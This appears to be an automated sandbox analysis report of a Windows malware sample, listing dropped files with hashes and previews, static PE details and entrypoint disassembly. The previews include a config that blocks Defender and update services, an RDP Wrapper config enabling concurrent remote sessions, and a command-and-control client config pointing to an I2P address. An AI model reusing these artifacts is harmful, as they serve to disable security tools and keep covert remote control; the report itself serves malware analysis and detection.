Process:	C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe
File Type:	Generic INItialization configuration [svc]
Category:	dropped
Size (bytes):	195
Entropy (8bit):	4.692426693515089
Encrypted:	false
SSDEEP:	3:PCLtupyhdA5A1XJy31ae0CYUAM9t2X0DwL1Uy/5ookVqEfokH2VmM74osLSgRUYp:PItZLJ4aZC9b/EhUyBjZBkWESqj
MD5:	E025B58CB2D118FAFAE00850EE91C5F9
SHA1:	DD23CE328F593AF74455F2C2F805B662466A1205
SHA-256:	897FC59CEDFBCAFDB9D0BEFEE9FC21A1B4C61259992A40F1986921E406E36340
SHA-512:	5CD3F72CB1FF5754F3329A1EF1C7D45826BE48540AAD60FC55B91C7EFDCBBEF8B6BEB66ED7E2CF338348CE3C43DE2C8B2C0E72C681A8C314ADBAE0F844C7B7EF
Malicious:	false
Preview:	[app]..MsMpEng.exe=1..MsSense.exe=1..SenseIR.exe=1..SenseNdr.exe=1..SenseCncProxy.exe=1..SenseSampleUploader.exe=1..[svc]..wuauserv=1..DoSvc=1..UsoSvc=1..WaaSMedicSvc=1..[ip4]..54.243.255.141=1..

C:\Users\user\AppData\Local\Temp\wfpblk.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	25052
Entropy (8bit):	5.25163415683287
Encrypted:	false
SSDEEP:	768:abbEbNQ6s69WS8vv88o88888888888888j8888888888e88888880888888888AG:P
MD5:	90246B5435654D62BDE97124534F677D
SHA1:	471CFFF5ED6AC74296F5A3FCD2EA7E20E5CA5B1D
SHA-256:	82AF4A3338419B0128EFCF8EF589FB3A88EAFF0530BEFADBE193539F9E133074
SHA-512:	496E17E6BFC4FBAE60A054397751066B84176180DCDBC168D0E5B34ED1087A529CA60087F87CD2D06653EF337B160E80785A9D2A9A00730DF673264D2B6C0D09
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\user\AppData\Local\Temp\wfpblk.log)..[I] (debug_init) -> Done..[I] (fs_file_write) -> Done(path=C:\Users\user\AppData\Local\Temp\wfpblk.ini,mode=wb,buf_sz=195)..[I] (fs_file_read) -> Done(path=C:\Users\user\AppData\Local\Temp\wfpblk.ini,buf_sz=195)..[I] (ini_load) -> Done(path=C:\Users\user\AppData\Local\Temp\wfpblk.ini)..[D] (ini_get_sec) -> Done(name=app)..[D] (ini_get_sec) -> Done(name=app)..[D] (ini_get_sec) -> Done(name=app)..[W] (ini_get_var) -> Failed(sec=app,name=[System Process],err=00000003)..[D] (ini_get_sec) -> Done(name=app)..[W] (ini_get_var) -> Failed(sec=app,name=System,err=00000003)..[D] (ini_get_sec) -> Done(name=app)..[W] (ini_get_var) -> Failed(sec=app,name=Registry,err=00000003)..[D] (ini_get_sec) -> Done(name=app)..[W] (ini_get_var) -> Failed(sec=app,name=smss.exe,err=00000003)..[D] (ini_get_sec) -> Done(name=app)..[W] (ini_get_var) -> Failed(sec=app,name=csrss.exe,err=00000003)..[D] (ini_get_sec) ->

C:\Windows\Temp\3rVpJMV7

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	92672
Entropy (8bit):	6.229119632298774
Encrypted:	false
SSDEEP:	1536:nZifIZPVsBXHCrwIxk8i/57CDDCZUohgfNGbDN:nZifcsVCrwI0CyZUocs
MD5:	7FEA520E80E7A73252F2A5C204BBF820
SHA1:	557D33F75805669A6D5E98D0E6CD3B790ECF3464
SHA-256:	64B09FAC89FC9645DFE624D832BB2FF2FC8BA6BA9BC1A96C6EEE8C7F9C021266
SHA-512:	6A8FE49BC671B2B1458C24E10509047B50150D3D565FC7FB45046A51C295E69189F35D53BA2F8727A44718F11E8A84EFDE019E5422E025767CF35FDA26F293F9
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...*.....f......Y.........Io..........................................`... .........................................^....................`..................l............................J..(....................................................text...............................`..`.data...............................@....rdata...U.......V..................@..@.pdata.......`.......<..............@..@.xdata.......p.......F..............@..@.bss....`................................edata..^............P..............@..@.idata...............R..............@....CRT....X............d..............@....tls.................f..............@....reloc..l............h..............@..B........................................................................................................................................................................

C:\Windows\Temp\67HhspTz

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	75977
Entropy (8bit):	7.8696816318811385
Encrypted:	false
SSDEEP:	1536:07klNoOPsg0evjAYqVwbLhhOW6xwz0U0paUgfVnsHk:EkPNPmevj5qabL9ydgNz
MD5:	E53A179BB45CD7EDD8371740D65076BD
SHA1:	6B74034746E12C2058614A9DF671C31B79EAA7E9
SHA-256:	C33D095DBFFC43047A7930EB0811B11208D166FCFD612D8ED32556A6CE82B9DB
SHA-512:	767105F8B88CD8C9E4E2BD9188C8174D5FD86D370D2E6A79B0E10EF4A79E994F24F8DB7A79C481B97F69DBEA8E311590E3B2D31E804EC5F572A3C37CF3EBC457
Malicious:	false
Preview:	I2Psu3................&.................1733281205......reseed@cnc.netPK........./.Y.o2........;...routerInfo-eXkkiGm0Hskmt-0nixI7Fd2~NX5o5Laplk3k9Fh6Jr0=.dat..\|f........59/}.w...............X.O..Q#.....M;`vv...oZ..;...U....gm..w._.y.......g.\....T..9<....v{...].K..Z..`....W..kX..7iu..bi..)..<.E.{.g..Q..v...RU....f.:~U-r.v.0.?I.c..S.W"U...P..9..!..=+....oY..gY....m;t...n..mu.y...$q...,.?.._..v.n.z..m......Q....x....\..f.M.E31.[.xu._....K...:.1.i.i"..{c:>.YU.x...Gl.F.+......<..t..r....M....t....iy=....c0wWG.....-.lW.{.....w..\.g.2.0..1.......L..P....j.X..XPl..db.i..f`f....Y.o....T.P....._..d..f....h._..ik..ZQ``.ehnlldajd`..2.....C..`B.&.f.....:.n........)>.i...Q.I.a.f...N..ai.Ynn..f.I&. -..:.y.y^....N...N....~e!.^a...y.ai.n..i..`-F.:.UNf.e.&I..N...y...y.....>%n&en.......fU`..$..\|dinjb`.$ B@.......X.Y.B..l9,,....L,...mu....s3....."...r<+.=...C.."...R.."LS..3.+...0..2.Y...../.9.......&`..-M.,.K\+...M2....}.#.........+s..".K.M`.20.@.3 .5/

C:\Windows\Temp\K7LxyvAX

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	Generic INItialization configuration [SLPolicy]
Category:	dropped
Size (bytes):	456534
Entropy (8bit):	5.450314708570292
Encrypted:	false
SSDEEP:	1536:ElNN33L+MUIiG4IvREWddadl/Fy/kY5Psv:EX33L+MBdadl/Fy/kr
MD5:	AC8B2EA4A310D6748A8845C235A3CDC8
SHA1:	0B489969C7D95411E4104B9BB952C0024EDE1616
SHA-256:	77BA4F6F25BA1050847C22B7AAF1E662650A99A15222466091FB056F436048E3
SHA-512:	0E807AF4D4E0D2F71FB8BE93DFCBCE62F3077E7C94B993529A0012088304A1B34BEDF8915EA23A83611FAB66495B1F8359225DBF95ED3F37C16607257217F191
Malicious:	false
Preview:	; RDP Wrapper Library configuration..; Do not modify without special knowledge..; Edited by sebaxakerhtc....[Main]..Updated=2024-11-24..LogFile=\rdpwrap.txt..SLPolicyHookNT60=1..SLPolicyHookNT61=1....[SLPolicy]..TerminalServices-RemoteConnectionManager-AllowRemoteConnections=1..TerminalServices-RemoteConnectionManager-AllowMultipleSessions=1..TerminalServices-RemoteConnectionManager-AllowAppServerMode=1..TerminalServices-RemoteConnectionManager-AllowMultimon=1..TerminalServices-RemoteConnectionManager-MaxUserSessions=0..TerminalServices-RemoteConnectionManager-ce0ad219-4670-4988-98fb-89b14c2f072b-MaxSessions=0..TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-MaxSessions=2..TerminalServices-RDP-7-Advanced-Compression-Allowed=1..TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-LocalOnly=0..TerminalServices-RemoteConnectionManager-8dc86f1d-9969-4379-91c1-06fe1dc60575-MaxSessions=1000..TerminalServices-DeviceRedirection-Licenses-TS

C:\Windows\Temp\L0FsI2PI

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	91136
Entropy (8bit):	6.2041507656664825
Encrypted:	false
SSDEEP:	1536:SgYI/+tvE0A2HTsPtbNqnXi2h+t3w8S31+g5KvSxY:SgYIl2HIPtbNkrhPl+4K6e
MD5:	CB4F460CF2921FCD35AC53F4154FCBE0
SHA1:	AFD91433EF0C03315739FB754B16D6C49D2E51F2
SHA-256:	D6B5B5303D7079CF31EA9704E7711A127CFE936EA108CDFFF938C7811C6EDA31
SHA-512:	BEE872D6B1226409C472636255AE220BA8E0950C0D65DD0D8B9F3E90D43B65FFE2133B33648452C34A3F1BCA958F10BAF3FADBA5BF4228057928F4EEAC7AB600
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...*.....`......Y.....................................................`... ..............................................................`..................d............................I..(......................h............................text...X...........................`..`.data...............................@....rdata.. T.......V..................@..@.pdata.......`.......8..............@..@.xdata..4....p.......B..............@..@.bss....@................................edata...............L..............@..@.idata...............N..............@....CRT....X............^..............@....tls.................`..............@....reloc..d............b..............@..B........................................................................................................................................................................

C:\Windows\Temp\PrnaubOU

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:9:9
MD5:	006F29D8E822B9241020AEC2495EF819
SHA1:	6510BEB08A14B6BCC74D32031C1B19AA07169CF1
SHA-256:	69FF245F90727BBEFA5B1F82E2429FF74F31A6A5385B5129A2FE3378DCF200F1
SHA-512:	16916BC4477F6FC1AE1132D2F5D2B9587650DC44E23DE15E0FE787AFE23175E0E236C020C753BA5158F688BEACDA523AAFB7EC1DF82B6F7619573C90A48742E8
Malicious:	false
Preview:	wgNj

C:\Windows\Temp\eH39owOK

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8568
Entropy (8bit):	4.958673415285098
Encrypted:	false
SSDEEP:	96:e+I8WTr7LjdL33ZqPDNLWBsaBMG+xv9G86UJ5TMmyvmyLKkfUZleZnE/Ndm/7CIg:e+I8Mr7VtXl1zrrIqEVdm/7CItWR0SX
MD5:	27535CEE6740DFC50A78A0322415E67C
SHA1:	E80541CF15C8ED4C5EEDA8D8C24674A5B8A27F61
SHA-256:	FB0CDBF4E0215AE1866E97860C2AC3DD96E7498BFE2AF3D82378041CDFF7F292
SHA-512:	25F11A8262B5A2F59BD6C9D8673B5AD5A140EAE8C007244810B2924EB08B5CF54AE19E61BE5139319877278D11868BBD85BD2E6C67F5FAD4E2A458E2844EBC0C
Malicious:	false
Preview:	## Configuration file for a typical i2pd user.## See https://i2pd.readthedocs.io/en/latest/user-guide/configuration/.## for more options you can use in this file...## Lines that begin with "## " try to explain what's going on. Lines.## that begin with just "#" are disabled commands: you can enable them.## by removing the "#" symbol...## Tunnels config file.## Default: ~/.i2pd/tunnels.conf or /var/lib/i2pd/tunnels.conf.# tunconf = /var/lib/i2pd/tunnels.conf..## Tunnels config files path.## Use that path to store separated tunnels in different config files..## Default: ~/.i2pd/tunnels.d or /var/lib/i2pd/tunnels.d.# tunnelsdir = /var/lib/i2pd/tunnels.d..## Path to certificates used for verifying .su3, families.## Default: ~/.i2pd/certificates or /var/lib/i2pd/certificates.# certsdir = /var/lib/i2pd/certificates..## Where to write pidfile (default: /run/i2pd.pid, not used in Windows).# pidfile = /run/i2pd.pid..## Logging configuration section.## By default logs go to stdout with level 'inf

C:\Windows\Temp\erT926ze

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	37376
Entropy (8bit):	5.7181012847214445
Encrypted:	false
SSDEEP:	768:2aS6Ir6sXJaE5I2IaK3knhQ0NknriB0dX5mkOpw:aDjDtKA0G0j5Opw
MD5:	E3E4492E2C871F65B5CEA8F1A14164E2
SHA1:	81D4AD81A92177C2116C5589609A9A08A5CCD0F2
SHA-256:	32FF81BE7818FA7140817FA0BC856975AE9FCB324A081D0E0560D7B5B87EFB30
SHA-512:	59DE035B230C9A4AD6A4EBF4BEFCD7798CCB38C7EDA9863BC651232DB22C7A4C2D5358D4D35551C2DD52F974A22EB160BAEE11F4751B9CA5BF4FB6334EC926C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........qc..qc..qc......qc...`..qc...g..qc..qb..qc...b..qc...f..qc...c..qc...j..qc......qc...a..qc.Rich.qc.................PE..d...#............." .....Z...>.......]...............................................a....`A.........................................~..........@...............................\... x..T............................p...............q..P............................text....Y.......Z.................. ..`.rdata.......p.......^..............@..@.data...P............z..............@....pdata...............\|..............@..@.rsrc...............................@..@.reloc..\...........................@..B........................................................................................................................................................................................................................................................

C:\Windows\Temp\fYg6Jeg5

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	105984
Entropy (8bit):	6.285421743969757
Encrypted:	false
SSDEEP:	1536:BQrD6CCk73WUJ/2WEvooF8VohjBdmaKqYdpFXaRQSCYA8CSs8qgu06wCYA8CSs8V:BA6sDl/2WEvo0DipFXaRQO
MD5:	6E01ED70D02CE47F4D27762A9E949DEE
SHA1:	32B9199EBBD7891CF0091B96BF3B2C9303AB7B7A
SHA-256:	EFB9B3D4356071EE8FE66979140E7435371EC668088A68786C6FDCEDF29D7376
SHA-512:	B21C8F79553EE513F6C48EFA618C20FB82CBC77EDE95579C28C21D8BB433B93D108CEF442B48ECBDABD0B06AA5C8AEDC8B26316167D1793A0E972B38D4210854
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...*............Y........................................@............`... .........................................^.......................T............0..h...............................(.......................`............................text...............................`..`.data........ ......................@....rdata..Pc...0...d..................@..@.pdata..T............n..............@..@.xdata...............x..............@..@.bss.... ................................edata..^...........................@..@.idata..............................@....CRT....X...........................@....tls......... ......................@....reloc..h....0......................@..B........................................................................................................................................................................

C:\Windows\Temp\gBXHuZY0

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	9146880
Entropy (8bit):	6.674868432808522
Encrypted:	false
SSDEEP:	196608:DiRu5DnWLX6Cs3E1CPwDvt3uF8c339CME:DiRsCKCsU1CPwDvt3uFd9CME
MD5:	676064A5CC4729E609539F9C9BD9D427
SHA1:	F77BA3D5B6610B345BFD4388956C853B99C9EB60
SHA-256:	77D203E985A0BC72B7A92618487389B3A731176FDFC947B1D2EAD92C8C0E766B
SHA-512:	4C876E9C1474E321C94EA81058B503D695F2B5C9DCA9182C515F1AE6DE065099832FD0337D011476C553958808C7D6F748566734DEEE6AF1E74B45A690181D02
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......f..........."...).t]......R..0........................................P............`... .......................................z..t... ...,............p..?...........p...............................`m.(....................*...............................text...(r]......t].................`..`.data.........]......x].............@....rdata..`>...@^..@....^.............@..@.pdata...?....p..@...^p.............@..@.xdata...t....t..v....t.............@..@.bss....`Q...@z..........................edata...t....z..v....z.............@..@.idata...,... ......................@....CRT....`....P......................@....tls.........`......................@....reloc.......p......................@..B........................................................................................................................................................................

C:\Windows\Temp\p2IxdCTt

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	Generic INItialization configuration [cnccli]
Category:	dropped
Size (bytes):	213
Entropy (8bit):	5.129024990254676
Encrypted:	false
SSDEEP:	6:1EVQLD4oWuJO+70XZ6DIzOD7kXpTRL9gWVUDeLn:Cjo5JO+70XZmeC7kX9vgpKL
MD5:	7D88563AD41BAF4026CFC5D098CBF40D
SHA1:	442756834CCCEB84F219F3C762852437FBB3458E
SHA-256:	D80EDD4C9FCF10348AAAB4D5F9D796AD827271827463D71FE32F2F896D0841D3
SHA-512:	F58A28FCAC43359D217C5B238C00BE73FBA791BEC7B987AA647F6FF02A7514D4C4B7449968DF9237D3B4D5BBF05DBEA82C8B41C956B2F0566FAE8C54056010DF
Malicious:	false
Preview:	[main]..version=400004957b19a09d..[cnccli]..server_host=9ad81489..server_port=41674..server_timeo=15000..i2p_try_num=5..i2p_sam3_timeo=15000..i2p_addr=2lyi6mgj6tn4eexl6gwnujwfycmq7dcus2x42petanvpwpjlqrhq.b32.i2p..

C:\Windows\Temp\rVtDGbMQ

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	115712
Entropy (8bit):	6.193969228624904
Encrypted:	false
SSDEEP:	1536:55YoK6WOBqFp//wVUE/+TGAf5EkgE1duJmwTxOd/lZ1pgX7:55YoSb/Iv/+TNf5Ee1YLTxOd9Z16X7
MD5:	EC9499EE84ED09B77BE0A35EC87B781C
SHA1:	4148D40284BAB415DDB828BD4061A4FE93C9AF26
SHA-256:	5E38EA7E3DD96FE1C6BB2EBA38C7BDE638C6B6E7898F906E343D9500AFF86499
SHA-512:	D65933B825419719021D0D2F43B45616A5B1238550BFDC72D2F4F148E284E9FE488417021A45B6D2F61770E31150B3331B1071AFE7EBB85AF6B379D040A9BEBC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...............Y........."h.............................P......JA....`... .........................................^....................................@..l...............................(.......................h............................text...x...........................`..`.data........0....... ..............@....rdata.. d...@...f.................@..@.pdata..............................@..@.xdata..............................@..@.bss.....................................edata..^...........................@..@.idata..............................@....CRT....X.... ......................@....tls.........0......................@....reloc..l....@......................@..B........................................................................................................................................................................

C:\Windows\Temp\rmcjgYnL

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	115712
Entropy (8bit):	6.25860377459178
Encrypted:	false
SSDEEP:	1536:+8zEo3EM0MBfGCqx22eMO4HROUeS2qjVO+n98TLmifu:LzEms12D4xOU31n98TLmh
MD5:	BD1D98C35FE2CB3E14A655AEDE9D4B01
SHA1:	49361C09F5A75A4E2D6E85FBDA337FC521770793
SHA-256:	961C65CFDF0187A945AD6099EFD9AF68D46D36EC309A2243F095EF739EE9AC7E
SHA-512:	74BFD70A08E2CB86AF10B83D0CFD723A24613C9E6E2018CDC63BD425D45845C1214BF68115E04F95572684F27A0CF52D271E2419F8056E0A0467B88507D132D4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...*............Y........................................P.......p....`... .........................................^....................................@..p...............................(...................X................................text...8...........................`..`.data........0......."..............@....rdata..pi...@...j...$..............@..@.pdata..............................@..@.xdata..............................@..@.bss.....................................edata..^...........................@..@.idata..............................@....CRT....X.... ......................@....tls.........0......................@....reloc..p....@......................@..B........................................................................................................................................................................

C:\Windows\Temp\y8J74cEH

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	129536
Entropy (8bit):	6.2852879161990645
Encrypted:	false
SSDEEP:	1536:UmeFYyUJdEqzx2LVJ4ngXsNXGRqnbxeGqS/h0E0P3j4NBtRLBhBr:UZUJdhxCJ4ngg46weh0dr4vnV
MD5:	88E6178B0CD434C8D14710355E78E691
SHA1:	F541979CAD7EE7C6D8F2B87A0F240592A5DC1B82
SHA-256:	7B40349481AD6C522A23FB3D12D6058EC0A7C5B387348FB4AE85135EE19C91A4
SHA-512:	C4330A9EE1E69785420AABCFD1991AAAEB0F1764EB7E857F0C86161F61E1FFD467B458A2D458D3C55BB76D00F26FAC481D026443AB0796D0AEF38BF06CD84B8F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."....<..........Y.........,...................................../....`... ...................................... ..^....0..D............................p..l...............................(...................p5...............................text....:.......<..................`..`.data........P.......@..............@....rdata.......`.......B..............@..@.pdata..............................@..@.xdata..............................@..@.bss.....................................edata..^.... ......................@..@.idata..D....0......................@....CRT....X....P......................@....tls.........`......................@....reloc..l....p......................@..B........................................................................................................................................................................

C:\Windows\Temp\ypqwg32t

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	104448
Entropy (8bit):	6.236071662185895
Encrypted:	false
SSDEEP:	1536:v6YjTy83xoAWVbgh4xf4j0+Fwpj7bx8eSlsfe1tgvEK335:v6Yjqj1gh4xf4w+G7Cge1tgb335
MD5:	CE579A1BDCB9763DAFEBF01AD29F918C
SHA1:	F3E317C09E27DD0DA11AEE1578B7034BA1AC15DD
SHA-256:	0B628EA2BA9CD77621D90A0A7456659ED86C118EB7655F6074B3B5648BAC0A02
SHA-512:	EB688ED1A4AC5C3B975C2B005BE4BFD04D7CC762AF18DED190D0F903D39BDB301EADB800866BA72F6B8C36B7ABFB5765E0EB5081158C67BC33F056BD41280BC3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...*............Y.........?..............................0......Uu....`... .........................................^.......................$............ ..l........................... v..(.......................`............................text...............................`..`.data...............................@....rdata...a... ...b..................@..@.pdata..$............h..............@..@.xdata..T............r..............@..@.bss.... ................................edata..^............\|..............@..@.idata...............~..............@....CRT....X...........................@....tls................................@....reloc..l.... ......................@..B........................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.136682788930128
TrID:	Win64 Executable GUI (202006/5) 92.64% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% VXD Driver (31/22) 0.01%
File name:	ET5.exe
File size:	17'157'120 bytes
MD5:	98c7ec9eb9c760e176a78a01bcb9f91c
SHA1:	f88a8f1c1be4d07dafb27c65d36217eea4125020
SHA256:	e779e7c5dfba028f616eb4efc98523561e194c0cbb99192a9dab535f9d7936a4
SHA512:	cfe01247d0c9317e2ad6a0813b440fe096314cc17a53c736054d64ab2df00596ff8a927c2b3e43953ff023ad9ba32b6cd7c69de09dea2b62ace488b35ab89694
SSDEEP:	98304:H1ZlHoeoVRfsVhKgr4oC+64469EGG1vGP8PHHsfNOIGdQI:V7oeoTfsVoy4oC+6MEGC88Cp
TLSH:	6E074BBB77A59168C16DC13BC0638F00E93370B94B37C2E757A9066C9E629C45E3EB25
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win64..$7.......................................................................................................................................

File Icon


Icon Hash:	6ab06e9aaaba8e50

Static PE Info

General

Entrypoint:	0x1033840
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:
Time Stamp:	0x6751C478 [Thu Dec 5 15:19:20 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	4f8fac411df99d6d54fbaf68fa03582e

Entrypoint Preview

Instruction
push ebp
dec eax
sub esp, 20h
dec eax
mov ebp, esp
nop
dec eax
lea ecx, dword ptr [FFFE53D8h]
call 00007FDBFF8DFD70h
dec eax
mov eax, dword ptr [000F5894h]
dec eax
mov ecx, dword ptr [eax]
call 00007FDBFFC12FC1h
dec eax
mov eax, dword ptr [000F5885h]
dec eax
mov ecx, dword ptr [eax]
mov dl, 01h
call 00007FDBFFC15C70h
dec eax
mov eax, dword ptr [000F5874h]
dec eax
mov ecx, dword ptr [eax]
dec eax
mov edx, dword ptr [FFFE4D32h]
dec esp
mov eax, dword ptr [000F617Bh]
call 00007FDBFFC12FC3h
dec eax
mov eax, dword ptr [000F5857h]
dec eax
mov ecx, dword ptr [eax]
call 00007FDBFFC131D4h
call 00007FDBFF8D735Fh
jmp 00007FDC004FAD5Ah
nop
nop
call 00007FDBFF8D7556h
nop
dec eax
lea esp, dword ptr [ebp+20h]
pop ebp
ret
dec eax
nop
dec eax
lea eax, dword ptr [00000000h+eax]
dec eax
sub esp, 28h
call 00007FDBFF8D6AECh
dec eax
add esp, 28h
ret
int3
int3
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0xd5b000	0x9a	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0xd4b000	0x5c50	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xe98000	0x1eb200	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xe00000	0x97e9c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xd5e000	0xa1634	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xd5d000	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xd4c7d0	0x15c8	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0xd51000	0x91e8	.didata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xc328d0	0xc32a00	1c23f6b18135b313a222b4993438dfc6	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xc34000	0xf5f18	0xf6000	57707d915d69e10db879945d98d9db32	False	0.2419850419207317	data	4.98697570722652	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0xd2a000	0x20f4c	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xd4b000	0x5c50	0x5e00	56beeeb7b323f48623a0b2e64e062a65	False	0.2416057180851064	data	4.389693246152294	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didata	0xd51000	0x91e8	0x9200	1fcabe78736cfaca95cba9423ec83403	False	0.1723030821917808	data	3.9804048481701213	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0xd5b000	0x9a	0x200	0538b0a5f71cff2c330ccafbe5b58c1d	False	0.2578125	data	1.9208874100491482	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0xd5c000	0x1f0	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xd5d000	0x6d	0x200	cb2fd71666686575f15f2e428be251f9	False	0.197265625	data	1.454281212366734	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
